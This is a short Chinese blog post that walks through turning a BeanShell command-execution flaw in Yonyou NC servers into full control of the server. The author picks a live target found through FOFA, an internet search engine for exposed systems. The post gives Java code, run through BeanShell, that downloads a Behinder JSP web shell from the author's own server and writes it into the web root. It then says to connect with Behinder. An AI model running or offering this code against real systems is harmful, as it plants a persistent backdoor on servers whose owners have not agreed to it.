从beanshell到getshell

起因是因为突然回想起某友beanshell漏洞,写了批量poc交补天结果撞一片。当时也只是简单exec("whoami")就完事了,最近突然萌生getshell的想法。于是在fofa上找了个幸运儿。

当我执行exec("dir")后,发现报错了。才意识到可能是语法问题

经过简单查找,在官方文档找到了beanshell的一些语法。

beanshell可以使用cd(),cat(),dir(),pwd()一系列类似unix的命令

并且知晓了beanshell可以调用java代码

这下就有思路了。先利用pwd(),dir()锁定web根目录。再编写java代码放置在beanshell中执行。这样就能远程下载vps上的冰蝎马并放置到根目录。

源码如下:

int bytesum = 0;
int byteread = 0;

URL url = new URL("http://*******/***.jsp"); 

try {
URLConnection conn = url.openConnection();
InputStream inStream = conn.getInputStream();
FileOutputStream fs = new FileOutputStream("***********/webapps/nc_web/*****.jsp");

byte[] buffer = new byte[1204];
int length;
while ((byteread = inStream.read(buffer)) != -1) {
bytesum += byteread;
System.out.println(bytesum);
fs.write(buffer, 0, byteread);
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}

某友nc的web路径含有/webapps/ne_web/。所以这段一般是固定的。执行完后直接上冰蝎即可。

 

点赞

发表评论

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像